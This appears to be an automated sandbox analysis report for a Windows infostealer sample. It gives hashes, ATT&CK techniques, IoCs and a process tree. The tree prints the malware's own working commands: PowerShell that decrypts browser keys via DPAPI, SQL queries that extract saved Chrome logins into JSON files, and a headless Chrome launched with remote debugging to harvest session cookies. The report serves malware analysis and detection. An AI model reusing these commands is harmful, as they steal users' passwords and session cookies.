758127b91cde0d1a89c23e53dd10656e1f30aaa7e30eb2e1e4d709eef390d689

Analysis

max time kernel
150s
max time network
138s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/09/2026, 18:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-03_f3ccc0b1bffb4389088614a819fd46c3_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Size 36.0MB
Sample260903-xe665stfla
SHA256 758127b91cde0d1a89c23e53dd10656e1f30aaa7e30eb2e1e4d709eef390d689
MD5 f3ccc0b1bffb4389088614a819fd46c3
SHA1 ab60722360f28b23eed9ea4af3e63eeb1a8b6e88
SHA512 31b09872b4d2130f9194fd727f82d507fd0a7adc45e52bc0b083f9d3cdbd790db6cce928f100aa95a2357acd68e96d133a2b0239148bfadde5404918ba802f44
SSDEEP 393216:f1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYft:fMguj8Q4VfvKqFTrYp
TLSH
T1AB878B0773E60095E9B7D1388AA65507D773B8638331CBDF329D06152FABAD09A7E720
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Uses browser remote debugging 2 TTPs 13 IoCs

Can be used to control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
5312	chrome.exe
5460	chrome.exe
296	chrome.exe
2528	chrome.exe
1540	chrome.exe
5024	chrome.exe
4552	chrome.exe
2916	chrome.exe
5024	chrome.exe
3948	chrome.exe
3932	chrome.exe
4264	chrome.exe
2668	chrome.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1252	powershell.exe
1060	powershell.exe
3564	powershell.exe
4824	powershell.exe
1624	powershell.exe
6052	powershell.exe
3868	powershell.exe
3640	powershell.exe
4828	powershell.exe
1164	powershell.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4860	cmd.exe
5436	cmd.exe
3240	cmd.exe
1228	cmd.exe
4944	cmd.exe
4824	cmd.exe
3008	cmd.exe
3380	cmd.exe
4396	cmd.exe
4612	cmd.exe
3864	cmd.exe
2616	cmd.exe
4660	cmd.exe
5732	cmd.exe
1992	cmd.exe
3264	cmd.exe
1696	cmd.exe
3768	cmd.exe
5892	cmd.exe
5972	cmd.exe
5952	cmd.exe
1692	cmd.exe
3608	cmd.exe
1456	cmd.exe
2468	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1696	cmd.exe
936	netsh.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2376	chrome.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2544	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3736	taskkill.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134329348624944887"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe

Suspicious behavior: EnumeratesProcesses 50 IoCs

pid	Process
4288	WMIC.exe
4288	WMIC.exe
4288	WMIC.exe
4288	WMIC.exe
5640	WMIC.exe
5640	WMIC.exe
5640	WMIC.exe
5640	WMIC.exe
1252	powershell.exe
1252	powershell.exe
1252	powershell.exe
5744	powershell.exe
5744	powershell.exe
5744	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
5328	powershell.exe
5328	powershell.exe
5328	powershell.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
3932	chrome.exe
3932	chrome.exe
4824	powershell.exe
4824	powershell.exe
4824	powershell.exe
3640	powershell.exe
3640	powershell.exe
3640	powershell.exe
1624	powershell.exe
1624	powershell.exe
1624	powershell.exe
6052	powershell.exe
6052	powershell.exe
6052	powershell.exe
3868	powershell.exe
3868	powershell.exe
3868	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
1164	powershell.exe
1164	powershell.exe
1164	powershell.exe
3932	chrome.exe
3932	chrome.exe
3564	powershell.exe
3564	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
3932	chrome.exe
3932	chrome.exe
3932	chrome.exe
3932	chrome.exe
3932	chrome.exe
3932	chrome.exe
3932	chrome.exe
3932	chrome.exe
3932	chrome.exe
3932	chrome.exe
3932	chrome.exe
3932	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4288	WMIC.exe
Token: SeSecurityPrivilege	4288	WMIC.exe
Token: SeTakeOwnershipPrivilege	4288	WMIC.exe
Token: SeLoadDriverPrivilege	4288	WMIC.exe
Token: SeSystemProfilePrivilege	4288	WMIC.exe
Token: SeSystemtimePrivilege	4288	WMIC.exe
Token: SeProfSingleProcessPrivilege	4288	WMIC.exe
Token: SeIncBasePriorityPrivilege	4288	WMIC.exe
Token: SeCreatePagefilePrivilege	4288	WMIC.exe
Token: SeBackupPrivilege	4288	WMIC.exe
Token: SeRestorePrivilege	4288	WMIC.exe
Token: SeShutdownPrivilege	4288	WMIC.exe
Token: SeDebugPrivilege	4288	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4288	WMIC.exe
Token: SeRemoteShutdownPrivilege	4288	WMIC.exe
Token: SeUndockPrivilege	4288	WMIC.exe
Token: SeManageVolumePrivilege	4288	WMIC.exe
Token: 33	4288	WMIC.exe
Token: 34	4288	WMIC.exe
Token: 35	4288	WMIC.exe
Token: 36	4288	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4288	WMIC.exe
Token: SeSecurityPrivilege	4288	WMIC.exe
Token: SeTakeOwnershipPrivilege	4288	WMIC.exe
Token: SeLoadDriverPrivilege	4288	WMIC.exe
Token: SeSystemProfilePrivilege	4288	WMIC.exe
Token: SeSystemtimePrivilege	4288	WMIC.exe
Token: SeProfSingleProcessPrivilege	4288	WMIC.exe
Token: SeIncBasePriorityPrivilege	4288	WMIC.exe
Token: SeCreatePagefilePrivilege	4288	WMIC.exe
Token: SeBackupPrivilege	4288	WMIC.exe
Token: SeRestorePrivilege	4288	WMIC.exe
Token: SeShutdownPrivilege	4288	WMIC.exe
Token: SeDebugPrivilege	4288	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4288	WMIC.exe
Token: SeRemoteShutdownPrivilege	4288	WMIC.exe
Token: SeUndockPrivilege	4288	WMIC.exe
Token: SeManageVolumePrivilege	4288	WMIC.exe
Token: 33	4288	WMIC.exe
Token: 34	4288	WMIC.exe
Token: 35	4288	WMIC.exe
Token: 36	4288	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5640	WMIC.exe
Token: SeSecurityPrivilege	5640	WMIC.exe
Token: SeTakeOwnershipPrivilege	5640	WMIC.exe
Token: SeLoadDriverPrivilege	5640	WMIC.exe
Token: SeSystemProfilePrivilege	5640	WMIC.exe
Token: SeSystemtimePrivilege	5640	WMIC.exe
Token: SeProfSingleProcessPrivilege	5640	WMIC.exe
Token: SeIncBasePriorityPrivilege	5640	WMIC.exe
Token: SeCreatePagefilePrivilege	5640	WMIC.exe
Token: SeBackupPrivilege	5640	WMIC.exe
Token: SeRestorePrivilege	5640	WMIC.exe
Token: SeShutdownPrivilege	5640	WMIC.exe
Token: SeDebugPrivilege	5640	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5640	WMIC.exe
Token: SeRemoteShutdownPrivilege	5640	WMIC.exe
Token: SeUndockPrivilege	5640	WMIC.exe
Token: SeManageVolumePrivilege	5640	WMIC.exe
Token: 33	5640	WMIC.exe
Token: 34	5640	WMIC.exe
Token: 35	5640	WMIC.exe
Token: 36	5640	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5640	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3932	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1444 wrote to memory of 5972	1444	2026-09-03_f3ccc0b1bffb4389088614a819fd46c3_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	90
PID 5972 wrote to memory of 4288	5972	cmd.exe	92
PID 1444 wrote to memory of 5952	1444	2026-09-03_f3ccc0b1bffb4389088614a819fd46c3_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	94
PID 5952 wrote to memory of 5640	5952	cmd.exe	96
PID 1444 wrote to memory of 4860	1444	2026-09-03_f3ccc0b1bffb4389088614a819fd46c3_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	97
PID 4860 wrote to memory of 1252	4860	cmd.exe	99
PID 1444 wrote to memory of 3380	1444	2026-09-03_f3ccc0b1bffb4389088614a819fd46c3_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	100
PID 3380 wrote to memory of 5744	3380	cmd.exe	102
PID 1444 wrote to memory of 1992	1444	2026-09-03_f3ccc0b1bffb4389088614a819fd46c3_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	103
PID 1992 wrote to memory of 1060	1992	cmd.exe	105
PID 1444 wrote to memory of 5436	1444	2026-09-03_f3ccc0b1bffb4389088614a819fd46c3_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	106
PID 5436 wrote to memory of 5328	5436	cmd.exe	108
PID 1444 wrote to memory of 4396	1444	2026-09-03_f3ccc0b1bffb4389088614a819fd46c3_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	109
PID 4396 wrote to memory of 3736	4396	cmd.exe	111
PID 1444 wrote to memory of 1692	1444	2026-09-03_f3ccc0b1bffb4389088614a819fd46c3_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	112
PID 1692 wrote to memory of 2544	1692	cmd.exe	114
PID 1444 wrote to memory of 3608	1444	2026-09-03_f3ccc0b1bffb4389088614a819fd46c3_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	115
PID 3608 wrote to memory of 3564	3608	cmd.exe	117
PID 3564 wrote to memory of 3932	3564	powershell.exe	118
PID 3932 wrote to memory of 4068	3932	chrome.exe	119
PID 3932 wrote to memory of 4976	3932	chrome.exe	120
PID 3932 wrote to memory of 2376	3932	chrome.exe	121
PID 3932 wrote to memory of 4976	3932	chrome.exe	120
PID 3932 wrote to memory of 3512	3932	chrome.exe	122
PID 3932 wrote to memory of 3512	3932	chrome.exe	122
PID 3932 wrote to memory of 2668	3932	chrome.exe	124
PID 3932 wrote to memory of 4264	3932	chrome.exe	125
PID 3932 wrote to memory of 2668	3932	chrome.exe	124
PID 3932 wrote to memory of 4264	3932	chrome.exe	125
PID 3932 wrote to memory of 4412	3932	chrome.exe	126
PID 3932 wrote to memory of 4412	3932	chrome.exe	126
PID 3932 wrote to memory of 2520	3932	chrome.exe	127
PID 3932 wrote to memory of 5024	3932	chrome.exe	142
PID 3932 wrote to memory of 5312	3932	chrome.exe	129
PID 3932 wrote to memory of 5312	3932	chrome.exe	129
PID 3932 wrote to memory of 5024	3932	chrome.exe	142
PID 3932 wrote to memory of 5460	3932	chrome.exe	131
PID 3932 wrote to memory of 3024	3932	chrome.exe	132
PID 3932 wrote to memory of 5460	3932	chrome.exe	131
PID 3932 wrote to memory of 296	3932	chrome.exe	133
PID 3932 wrote to memory of 3024	3932	chrome.exe	132
PID 3932 wrote to memory of 296	3932	chrome.exe	133
PID 3932 wrote to memory of 2528	3932	chrome.exe	136
PID 3932 wrote to memory of 1540	3932	chrome.exe	135
PID 3932 wrote to memory of 2528	3932	chrome.exe	136
PID 3932 wrote to memory of 1540	3932	chrome.exe	135
PID 3932 wrote to memory of 4552	3932	chrome.exe	137
PID 3932 wrote to memory of 3328	3932	chrome.exe	138
PID 3932 wrote to memory of 4552	3932	chrome.exe	137
PID 3932 wrote to memory of 2916	3932	chrome.exe	139
PID 3932 wrote to memory of 3328	3932	chrome.exe	138
PID 3932 wrote to memory of 2916	3932	chrome.exe	139
PID 3932 wrote to memory of 4568	3932	chrome.exe	140
PID 3932 wrote to memory of 4568	3932	chrome.exe	140
PID 3932 wrote to memory of 3948	3932	chrome.exe	141
PID 3932 wrote to memory of 5024	3932	chrome.exe	142
PID 3932 wrote to memory of 3948	3932	chrome.exe	141
PID 3932 wrote to memory of 5024	3932	chrome.exe	142
PID 1444 wrote to memory of 1456	1444	2026-09-03_f3ccc0b1bffb4389088614a819fd46c3_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	144
PID 1456 wrote to memory of 4824	1456	cmd.exe	146
PID 1444 wrote to memory of 4612	1444	2026-09-03_f3ccc0b1bffb4389088614a819fd46c3_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	147
PID 4612 wrote to memory of 3640	4612	cmd.exe	149
PID 3932 wrote to memory of 964	3932	chrome.exe	150
PID 3932 wrote to memory of 3068	3932	chrome.exe	151

C:\Users\Admin\AppData\Local\Temp\2026-09-03_f3ccc0b1bffb4389088614a819fd46c3_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-03_f3ccc0b1bffb4389088614a819fd46c3_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get manufacturer,model"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5972
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get manufacturer,model
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5952
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "; Add-Type -AssemblyName System.Security; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_089df0d6.bin'); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_5178050d.bin', $dec); ""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "; Add-Type -AssemblyName System.Security; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_089df0d6.bin'); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_5178050d.bin', $dec); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "; $db = 'C:\\Users\\Admin\\AppData\\Local\\Temp\\ld_1336a3c9.db'; $conn = New-Object -TypeName System.Data.SQLite.SQLiteConnection; $conn.ConnectionString = "Data Source=$db;Version=3;Read Only=True;"; try {; $conn.Open(); $cmd = $conn.CreateCommand(); $cmd.CommandText = "SELECT origin_url, username_value, password_value FROM logins WHERE password_value != '' LIMIT 500"; $reader = $cmd.ExecuteReader(); $results = @(); while($reader.Read()) {; $url = $reader.GetString(0); $user = $reader.GetString(1); $encPw = $reader.GetValue(2); if($encPw -is [byte[]]) {; $b64 = [Convert]::ToBase64String($encPw); $results += @{url=$url;user=$user;enc=$b64}; }; }; $reader.Close(); $conn.Close(); $results | ConvertTo-Json -Compress | Out-File 'C:\\Users\\Admin\\AppData\\Local\\Temp\\pw_087dd49a.json' -Encoding UTF8; } catch {; # SQLite assembly not available - fallback to raw copy; '[]' | Out-File 'C:\\Users\\Admin\\AppData\\Local\\Temp\\pw_087dd49a.json' -Encoding UTF8; }; ""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "; $db = 'C:\\Users\\Admin\\AppData\\Local\\Temp\\ld_1336a3c9.db'; $conn = New-Object -TypeName System.Data.SQLite.SQLiteConnection; $conn.ConnectionString = "Data Source=$db;Version=3;Read Only=True;"; try {; $conn.Open(); $cmd = $conn.CreateCommand(); $cmd.CommandText = "SELECT origin_url, username_value, password_value FROM logins WHERE password_value != '' LIMIT 500"; $reader = $cmd.ExecuteReader(); $results = @(); while($reader.Read()) {; $url = $reader.GetString(0); $user = $reader.GetString(1); $encPw = $reader.GetValue(2); if($encPw -is [byte[]]) {; $b64 = [Convert]::ToBase64String($encPw); $results += @{url=$url;user=$user;enc=$b64}; }; }; $reader.Close(); $conn.Close(); $results | ConvertTo-Json -Compress | Out-File 'C:\\Users\\Admin\\AppData\\Local\\Temp\\pw_087dd49a.json' -Encoding UTF8; } catch {; # SQLite assembly not available - fallback to raw copy; '[]' | Out-File 'C:\\Users\\Admin\\AppData\\Local\\Temp\\pw_087dd49a.json' -Encoding UTF8; }; "
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "; Add-Type -AssemblyName System.Security; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_09447c62.bin'); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_e3ff7014.bin', $dec); ""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "; Add-Type -AssemblyName System.Security; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_09447c62.bin'); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_e3ff7014.bin', $dec); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "; $db = 'C:\\Users\\Admin\\AppData\\Local\\Temp\\ld_08a729b0.db'; $conn = New-Object -TypeName System.Data.SQLite.SQLiteConnection; $conn.ConnectionString = "Data Source=$db;Version=3;Read Only=True;"; try {; $conn.Open(); $cmd = $conn.CreateCommand(); $cmd.CommandText = "SELECT origin_url, username_value, password_value FROM logins WHERE password_value != '' LIMIT 500"; $reader = $cmd.ExecuteReader(); $results = @(); while($reader.Read()) {; $url = $reader.GetString(0); $user = $reader.GetString(1); $encPw = $reader.GetValue(2); if($encPw -is [byte[]]) {; $b64 = [Convert]::ToBase64String($encPw); $results += @{url=$url;user=$user;enc=$b64}; }; }; $reader.Close(); $conn.Close(); $results | ConvertTo-Json -Compress | Out-File 'C:\\Users\\Admin\\AppData\\Local\\Temp\\pw_21d420e3.json' -Encoding UTF8; } catch {; # SQLite assembly not available - fallback to raw copy; '[]' | Out-File 'C:\\Users\\Admin\\AppData\\Local\\Temp\\pw_21d420e3.json' -Encoding UTF8; }; ""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "; $db = 'C:\\Users\\Admin\\AppData\\Local\\Temp\\ld_08a729b0.db'; $conn = New-Object -TypeName System.Data.SQLite.SQLiteConnection; $conn.ConnectionString = "Data Source=$db;Version=3;Read Only=True;"; try {; $conn.Open(); $cmd = $conn.CreateCommand(); $cmd.CommandText = "SELECT origin_url, username_value, password_value FROM logins WHERE password_value != '' LIMIT 500"; $reader = $cmd.ExecuteReader(); $results = @(); while($reader.Read()) {; $url = $reader.GetString(0); $user = $reader.GetString(1); $encPw = $reader.GetValue(2); if($encPw -is [byte[]]) {; $b64 = [Convert]::ToBase64String($encPw); $results += @{url=$url;user=$user;enc=$b64}; }; }; $reader.Close(); $conn.Close(); $results | ConvertTo-Json -Compress | Out-File 'C:\\Users\\Admin\\AppData\\Local\\Temp\\pw_21d420e3.json' -Encoding UTF8; } catch {; # SQLite assembly not available - fallback to raw copy; '[]' | Out-File 'C:\\Users\\Admin\\AppData\\Local\\Temp\\pw_21d420e3.json' -Encoding UTF8; }; "
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4396
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    PID:3736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "timeout /t 2 /nobreak >nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1692
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\cdp_1788461257262.ps1""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3608
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\cdp_1788461257262.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3564
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --disable-gpu --no-first-run --remote-debugging-port=9320 --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --profile-directory=Default about:blank
      4⤵
      Uses browser remote debugging
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3932
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffbdbb6c728,0x7ffbdbb6c734,0x7ffbdbb6c740
        5⤵
        
        PID:4068
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless=new --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1840 /prefetch:2
        5⤵
        
        PID:4976
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1976 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:2376
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2612 /prefetch:13
        5⤵
        
        PID:3512
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9320 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3136 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:2668
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9320 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:4264
